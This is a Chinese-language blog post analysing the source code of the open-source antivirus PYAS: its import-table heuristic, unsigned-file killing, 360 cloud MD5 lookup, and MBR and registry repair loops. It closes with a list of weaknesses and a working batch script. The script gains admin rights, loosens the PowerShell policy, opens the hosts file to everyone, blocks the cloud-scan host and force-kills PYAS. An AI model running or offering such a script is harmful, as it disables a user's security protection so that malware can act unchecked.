PYAS 源代码分析及绕过
PYAS 简介
PYAS 免费防毒软件
免费开源、轻巧易用、多重安全防护
PYAS采用自研本地以及360云端扫毒引擎,
并内置多重系统安全防护,保障数据安全.
多重系统安全防护
内置5大系统安全防护,以及81个防护子项目
进程防护 -> 监控进程并拦截恶意软件
文件防护 -> 阻止病毒档案创建及释放
引导防护 -> 阻止开机引导扇区被破坏
注册表防护 -> 修复系统注册表防护项目
增强防护 -> 增强注册表关键防护项目
PYAS源代码分析
PYAS 的项目结构
.
│ LICENSE.md
│ PYAS.py
│ PYAS_Language.py
│ PYAS_Model.py
│ PYAS_UI.py
│ PYAS_UI_rc.py
│ PYAS_Version_File.py
│ README.md
└─Library
ICON.ico
PYAS.json
主要代码就在PYAS.py
和PYAS_Model.py
这两个文件中.
先来看PYAS_Model.py
:
function_list = [['_CorExeMain'], ['GetProcessHeap', 'RtlUnwind', 'RaiseException', 'HeapSize', 'TerminateProcess', 'UnhandledExceptionFilter', 'SetUnhandledExceptionFilter', 'IsDebuggerPresent', 'HeapDestroy', 'HeapCreate', 'VirtualFree', 'Sleep', 'GetStdHandle',
'省略亿点点......',
], ['InitializeCriticalSection', 'PostQuitMessage', 'RegOpenKeyExA', '?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z', 'PlaySoundA', '_CxxThrowException', '_itoa_s', '__stdio_common_vsprintf', '_initialize_narrow_environment', 'strcat_s', '_callnewh', 'srand', '_getch', '_time64', '_mbsrchr', '_CIcos', '_configthreadlocale', 'SetPixelV', 'ExtractIconA', 'CoInitialize', 'GetModuleFileNameW', 'GetModuleHandleA', 'LoadLibraryA', 'LocalAlloc', 'LocalFree', 'GetModuleFileNameA', 'ExitProcess']]
该数据为后面的PE导入表扫描提供function_list
.
扫描的范围
按照文件扩展名:
self.sflist = [".exe",".dll",".com",".msi",".js",".jar",".vbs",".ps1",".xls",".xlsx",".doc",".docx"]
PE导入表扫描
def pe_scan(self,file):
try:
fn = []
pe = PE(file)
pe.close()
for entry in pe.DIRECTORY_ENTRY_IMPORT:
for func in entry.imports:
fn.append(str(func.name, "utf-8"))
for vfl in function_list:
QApplication.processEvents()
if sum(1 for i in range(min(len(vfl), len(fn))) if vfl[i] == fn[i]) / min(len(vfl), len(fn)) > 0.5:
return True
return False
except:
return False
代码中的关键对比部分如下:
if sum(1 for i in range(min(len(vfl), len(fn))) if vfl[i] == fn[i]) / min(len(vfl), len(fn)) > 0.5:
return True
这段代码对比预定义函数列表(vfl
)和从文件的导入表中提取的函数列表(fn
).
分为以下几个步骤:
-
min(len(vfl), len(fn))
用于获取两个函数列表中较短的长度,用来避免索引超出范围.
-
sum(1 for i in range(min(len(vfl), len(fn))) if vfl[i] == fn[i])
使用生成器表达式和sum()
函数来计算在相同位置上函数列表(vfl
和fn
)中函数名称相同的数量.
-
计算相同函数数量的比例,即相同函数数量除以较短函数列表的长度.
-
如果比例大于0.5,则意味着超过50%的函数名称匹配,代码返回True
,表示给定的文件可能是恶意软件.如果没有满足条件的函数,则继续遍历其他预定义函数列表.
-
如果遍历完所有预定义函数列表仍未满足条件,代码返回False
,表示给定的文件可能是正常文件.
使用该方法存在误判漏判的可能, 病毒一般会隐藏导入表许多非必要函数, 需要时动态加载.
而正常软件又不会故意处理导入表, 所以该方法误判率高, 且比较过程较耗费性能.
签名扫描
def sign_scan(self, file):
try:
pe = PE(file, fast_load=True)
pe.close()
return pe.OPTIONAL_HEADER.DATA_DIRECTORY[DIRECTORY_ENTRY["IMAGE_DIRECTORY_ENTRY_SECURITY"]].VirtualAddress == 0
except:
return True
任何不具有签名的应用程序都会被Kill并删除, 但是不检验
签名的合法性.
360云查杀
def api_scan(self, file):
try:
if self.cloud_services == 1:
with open(file, "rb") as f:
text = str(md5(f.read()).hexdigest())
strBody = f'-------------------------------7d83e2d7a141e\r\nContent-Disposition: form-data; name="md5s"\r\n\r\n{text}\r\n-------------------------------7d83e2d7a141e\r\nContent-Disposition: form-data; name="format"\r\n\r\nXML\r\n-------------------------------7d83e2d7a141e\r\nContent-Disposition: form-data; name="product"\r\n\r\n360zip\r\n-------------------------------7d83e2d7a141e\r\nContent-Disposition: form-data; name="combo"\r\n\r\n360zip_main\r\n-------------------------------7d83e2d7a141e\r\nContent-Disposition: form-data; name="v"\r\n\r\n2\r\n-------------------------------7d83e2d7a141e\r\nContent-Disposition: form-data; name="osver"\r\n\r\n5.1\r\n-------------------------------7d83e2d7a141e\r\nContent-Disposition: form-data; name="vk"\r\n\r\na03bc211\r\n-------------------------------7d83e2d7a141e\r\nContent-Disposition: form-data; name="mid"\r\n\r\n8a40d9eff408a78fe9ec10a0e7e60f62\r\n-------------------------------7d83e2d7a141e--'
response = requests.post('http://qup.f.360.cn/file_health_info.php', data=strBody, timeout=3)
return response.status_code == 200 and float(ET.fromstring(response.text).find('.//e_level').text) > 50
except:
return False
同理, e_level > 50%
被判定为危险.
Body解析:
-------------------------------7d83e2d7a141e
Content-Disposition: form-data; name="md5s"
{text}
-------------------------------7d83e2d7a141e
Content-Disposition: form-data; name="format"
XML
-------------------------------7d83e2d7a141e
Content-Disposition: form-data; name="product"
360zip
-------------------------------7d83e2d7a141e
Content-Disposition: form-data; name="combo"
360zip_main
-------------------------------7d83e2d7a141e
Content-Disposition: form-data; name="v"
2
-------------------------------7d83e2d7a141e
Content-Disposition: form-data; name="osver"
5.1
-------------------------------7d83e2d7a141e
Content-Disposition: form-data; name="vk"
a03bc211
-------------------------------7d83e2d7a141e
Content-Disposition: form-data; name="mid"
8a40d9eff408a78fe9ec10a0e7e60f62
-------------------------------7d83e2d7a141e--
其中{text}
会被替换成文件的MD5字符串
其中product为360zip, 所以应该是从360zip
抓取的api.
进程防护
def protect_system_processes(self):
while self.proc_protect:
for p in psutil.process_iter():
try:
time.sleep(0.001)
file, name = str(p.exe()).replace("\\", "/"), str(p.name())
if file == self.pyas or file in self.whitelist:
continue
elif ":/Windows" in file or ":/Program" in file or "AppData" in file:
continue
elif file in ["","Registry","vmmemCmZygote","MemCompression"]:
continue
elif self.high_sensitivity == 1 and self.sign_scan(file):
p.kill()
self.system_notification(self.text_Translate("無效簽名攔截: ")+name)
elif self.api_scan(file):
p.kill()
self.system_notification(self.text_Translate("惡意軟體攔截: ")+name)
elif self.pe_scan(file):
p.kill()
self.system_notification(self.text_Translate("可疑檔案攔截: ")+name)
gc.collect()
except:
pass
注意这一句代码:
for p in psutil.process_iter():
因为我之前也尝试过仿照UAC实现进程的拦截与允许, 网上有一个vb6.0
实现进程启动拦截的代码, 那个项目就是利用进程列表快照反复对比实现的, 一旦检测到新的, 先创建Pending Process
, 然后弹窗问用户是否启动, 如果允许, Resume Process
, 否则直接Kill.
但是这种方法问题也很明显:
- 就是再怎么Thread.Sleep, 也是死循环, 如果没有新的进程启动, 无疑是耗费性能.
- 存在时间抢占, 不一定在任何情况下都能比程序先一步处理.
文件防护
def protect_system_file(self,path):
hDir = win32file.CreateFile(path,win32con.GENERIC_READ,win32con.FILE_SHARE_READ|win32con.FILE_SHARE_WRITE|win32con.FILE_SHARE_DELETE,None,win32con.OPEN_EXISTING,win32con.FILE_FLAG_BACKUP_SEMANTICS,None)
while self.file_protect:
try:
for action, file in win32file.ReadDirectoryChangesW(hDir,1024,True,win32con.FILE_NOTIFY_CHANGE_FILE_NAME|win32con.FILE_NOTIFY_CHANGE_DIR_NAME|win32con.FILE_NOTIFY_CHANGE_ATTRIBUTES|win32con.FILE_NOTIFY_CHANGE_SIZE|win32con.FILE_NOTIFY_CHANGE_LAST_WRITE|win32con.FILE_NOTIFY_CHANGE_SECURITY,None,None):
file = str(f"{path}{file}").replace("\\", "/")
if file == self.pyas or file in self.whitelist:
continue
elif ":/$Recycle.Bin" in file or ":/Windows" in file or ":/Program" in file:
continue
elif action == 3 and str(os.path.splitext(file)[1]).lower() in self.sflist:
if self.sign_scan(file) and self.api_scan(file):
os.remove(file)
self.system_notification(self.text_Translate("惡意軟體刪除: ")+file)
except:
pass
这个类似C# 里提供的FileSystemWatcher, 监听文件系统变化. 该代码不检查谁进行的更改
, 只检查受保护的目录不被写入病毒文件.
引导防护
def protect_system_mbr_repair(self):
while self.mbr_protect and self.mbr_value != None:
try:
time.sleep(0.2)
with open(r"\\.\PhysicalDrive0", "r+b") as f:
if f.read(512) != self.mbr_value:
f.seek(0)
f.write(self.mbr_value)
self.system_notification(self.text_Translate("引導分區修復: PhysicalDrive0"))
except:
pass
就是一直对比MBR, 实际和一开始保存的, 不一样就写回去覆盖.
注册表防护
def protect_system_reg_repair(self):
while self.reg_protect:
try:
time.sleep(0.2)
self.repair_system_restrictions()
except:
pass
def repair_system_restrictions(self):
try:
Permission = ["NoControlPanel", "NoDrives", "NoFileMenu", "NoFind", "NoRealMode", "NoRecentDocsMenu","NoSetFolders",
"NoSetFolderOptions", "NoViewOnDrive", "NoClose", "NoRun", "NoDesktop", "NoLogOff", "NoFolderOptions", "RestrictRun","DisableCMD",
"NoViewContexMenu", "HideClock", "NoStartMenuMorePrograms", "NoStartMenuMyGames", "NoStartMenuMyMusic" "NoStartMenuNetworkPlaces",
"NoStartMenuPinnedList", "NoActiveDesktop", "NoSetActiveDesktop", "NoActiveDesktopChanges", "NoChangeStartMenu", "ClearRecentDocsOnExit",
"NoFavoritesMenu", "NoRecentDocsHistory", "NoSetTaskbar", "NoSMHelp", "NoTrayContextMenu", "NoViewContextMenu", "NoWindowsUpdate",
"NoWinKeys", "StartMenuLogOff", "NoSimpleNetlDList", "NoLowDiskSpaceChecks", "DisableLockWorkstation", "NoManageMyComputerVerb",
"DisableTaskMgr", "DisableRegistryTools", "DisableChangePassword", "Wallpaper", "NoComponents", "NoAddingComponents", "Restrict_Run"]
win32api.RegCreateKey(win32api.RegOpenKey(win32con.HKEY_CURRENT_USER,"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies",0,win32con.KEY_ALL_ACCESS),"Explorer")
win32api.RegCreateKey(win32api.RegOpenKey(win32con.HKEY_LOCAL_MACHINE,"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies",0,win32con.KEY_ALL_ACCESS),"Explorer")
win32api.RegCreateKey(win32api.RegOpenKey(win32con.HKEY_CURRENT_USER,"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies",0,win32con.KEY_ALL_ACCESS),"System")
win32api.RegCreateKey(win32api.RegOpenKey(win32con.HKEY_LOCAL_MACHINE,"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies",0,win32con.KEY_ALL_ACCESS),"System")
win32api.RegCreateKey(win32api.RegOpenKey(win32con.HKEY_LOCAL_MACHINE,"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies",0,win32con.KEY_ALL_ACCESS),"ActiveDesktop")
win32api.RegCreateKey(win32api.RegOpenKey(win32con.HKEY_CURRENT_USER,"SOFTWARE\Policies\Microsoft\Windows",0,win32con.KEY_ALL_ACCESS),"System")
win32api.RegCreateKey(win32api.RegOpenKey(win32con.HKEY_LOCAL_MACHINE,"SOFTWARE\Policies\Microsoft\Windows",0,win32con.KEY_ALL_ACCESS),"System")
win32api.RegCreateKey(win32api.RegOpenKey(win32con.HKEY_CURRENT_USER,"Software\Policies\Microsoft",0,win32con.KEY_ALL_ACCESS),"MMC")
win32api.RegCreateKey(win32api.RegOpenKey(win32con.HKEY_CURRENT_USER,"Software\Policies\Microsoft\MMC",0,win32con.KEY_ALL_ACCESS),"{8FC0B734-A0E1-11D1-A7D3-0000F87571E3}")
keys = [win32api.RegOpenKey(win32con.HKEY_CURRENT_USER,"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer",0,win32con.KEY_ALL_ACCESS),
win32api.RegOpenKey(win32con.HKEY_LOCAL_MACHINE,"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer",0,win32con.KEY_ALL_ACCESS),
win32api.RegOpenKey(win32con.HKEY_CURRENT_USER,"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System",0,win32con.KEY_ALL_ACCESS),
win32api.RegOpenKey(win32con.HKEY_LOCAL_MACHINE,"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System",0,win32con.KEY_ALL_ACCESS),
win32api.RegOpenKey(win32con.HKEY_LOCAL_MACHINE,"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop",0,win32con.KEY_ALL_ACCESS),
win32api.RegOpenKey(win32con.HKEY_CURRENT_USER,"SOFTWARE\Policies\Microsoft\Windows\System",0,win32con.KEY_ALL_ACCESS),
win32api.RegOpenKey(win32con.HKEY_LOCAL_MACHINE,"SOFTWARE\Policies\Microsoft\Windows\System",0,win32con.KEY_ALL_ACCESS),
win32api.RegOpenKey(win32con.HKEY_CURRENT_USER,"Software\Policies\Microsoft\MMC\{8FC0B734-A0E1-11D1-A7D3-0000F87571E3}",0,win32con.KEY_ALL_ACCESS)]
for key in keys:
for i in Permission:
try:
win32api.RegDeleteValue(key,i)
except:
pass
win32api.RegCloseKey(key)
except:
pass
定时将常见Windows高危默认注册表项覆盖写入, 并删除高危的注册表值.
增强防护
def protect_system_enhanced(self):
while self.enh_protect:
try:
time.sleep(0.2)
self.repair_system_file_type()
self.repair_system_image()
self.repair_system_icon()
except:
pass
def repair_system_icon(self):
try:
for file_type in ['exefile', 'comfile', 'txtfile', 'dllfile', 'inifile', 'VBSfile']:
try:
key = win32api.RegOpenKey(win32con.HKEY_CLASSES_ROOT, file_type, 0, win32con.KEY_ALL_ACCESS)
win32api.RegSetValue(key, 'DefaultIcon', win32con.REG_SZ, '%1')
except:
pass
try:
key = win32api.RegOpenKey(win32con.HKEY_LOCAL_MACHINE, 'SOFTWARE\Classes\\' + file_type, 0, win32con.KEY_ALL_ACCESS)
win32api.RegSetValue(key, 'DefaultIcon', win32con.REG_SZ, '%1')
except:
pass
except:
pass
def repair_system_image(self):
try:
key = win32api.RegOpenKey(win32con.HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options',0,win32con.KEY_ALL_ACCESS | win32con.WRITE_OWNER)
count = win32api.RegQueryInfoKey(key)[0]
while count >= 0:
try:
subKeyName = win32api.RegEnumKey(key, count)
win32api.RegDeleteKey(key, subKeyName)
except:
pass
count = count - 1
except:
pass
def repair_system_file_type(self):
try:
data = [('jpegfile', 'JPEG Image'),('.exe', 'exefile'),('exefile', 'Application'),('.com', 'comfile'),('comfile', 'MS-DOS Application'),
('.zip', 'CompressedFolder'),('.dll', 'dllfile'),('dllfile', 'Application Extension'),('.sys', 'sysfile'),('sysfile', 'System file'),
('.bat', 'batfile'),('batfile', 'Windows Batch File'),('VBS', 'VB Script Language'),('VBSfile', 'VBScript Script File'),
('.txt', 'txtfile'),('txtfile', 'Text Document'),('.ini', 'inifile'),('inifile', 'Configuration Settings')]
key = win32api.RegOpenKey(win32con.HKEY_LOCAL_MACHINE, 'SOFTWARE\Classes', 0, win32con.KEY_ALL_ACCESS)# HKEY_LOCAL_MACHINE
for ext, value in data:
win32api.RegSetValue(key, ext, win32con.REG_SZ, value)
win32api.RegCloseKey(key)
key = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, 'SOFTWARE\Classes', 0, win32con.KEY_ALL_ACCESS)# HKEY_CURRENT_USER
for ext, value in data:
win32api.RegSetValue(key, ext, win32con.REG_SZ, value)
try:
keyopen = win32api.RegOpenKey(key, ext + r'\shell\open', 0, win32con.KEY_ALL_ACCESS)
win32api.RegSetValue(keyopen, 'command', win32con.REG_SZ, '"%1" %*')
win32api.RegCloseKey(keyopen)
except:
pass
win32api.RegCloseKey(key)
key = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, 'SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts', 0, win32con.KEY_ALL_ACCESS)# HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts
extensions = ['.exe', '.zip', '.dll', '.sys', '.bat', '.txt', '.msc']
for ext in extensions:
win32api.RegSetValue(key, ext, win32con.REG_SZ, '')
win32api.RegCloseKey(key)
key = win32api.RegOpenKey(win32con.HKEY_CLASSES_ROOT, None, 0, win32con.KEY_ALL_ACCESS)# HKEY_CLASSES_ROOT
for ext, value in data:
win32api.RegSetValue(key, ext, win32con.REG_SZ, value)
if ext in ['.cmd', '.vbs']:
win32api.RegSetValue(key, ext + 'file', win32con.REG_SZ, 'Windows Command Script')
try:
keyopen = win32api.RegOpenKey(key, ext + r'\shell\open', 0, win32con.KEY_ALL_ACCESS)
win32api.RegSetValue(keyopen, 'command', win32con.REG_SZ, '"%1" %*')
win32api.RegCloseKey(keyopen)
except:
pass
win32api.RegCloseKey(key)
except:
pass
类似注册表防护, 不断覆写正常默认值.
其他部分
其他部分就没什么必要说了, 都是一些常见的系统修复功能, 下面说说怎么绕过.
绕过PYAS
分析
- 只是利用了简单的进程列表对比, 而且主要依赖扫描文件来防护, 没有任何关于正在执行部分的处理过程, 意味着它不具备行为分析能力.
- 没有做WIN32层面的HOOK, 更没有做RING0的驱动对抗, 而且也没有自我保护功能.
- 无法查杀动态脚本, 例如MD5变化的.
- 不检查签名有效性.
- 严重依赖WIN32 Process组件, 结束进程是普通的Kill, 删除不强制.
- [KEYPOINT] PYAS 主要依靠360云查杀扫描MD5, 一旦断网, 本地引擎无法查杀脚本, 因为本地引擎需要使用PE导入表判断.
- 设置易被篡改, 例如白名单列表.
绕过示例
@echo off
setlocal
REM 检查是否已经以管理员权限运行脚本
net session >nul 2>&1
if %errorLevel% == 0 (
goto :run_with_admin
)
REM 调整Powersehll脚本运行策略为最宽松
powershell.exe Set-ExecutionPolicy Unrestricted -Scope LocalMachine -Force
REM 如果没有以管理员权限运行脚本,重新以管理员权限运行
powershell.exe -Command "Start-Process -FilePath \"%0\" -Verb RunAs"
exit
:run_with_admin
REM 已以管理员权限运行
set hosts_path=C:\Windows\System32\drivers\etc\hosts
REM 修改Hosts文件的权限为任何人可读写
icacls %hosts_path% /grant Everyone:(W,R)
REM 写入hosts禁用360云查杀
echo. >> %hosts_path%
echo 127.0.0.1 qup.f.360.cn >> %hosts_path%
REM 结束PYAS进程
set "process_name=PYAS.exe"
taskkill /f /t /im "%process_name%"
REM 后续其他操作......
exit
参考
PYAS官网
PYAS开源仓库(Github)
CSDN-VB进程启动拦截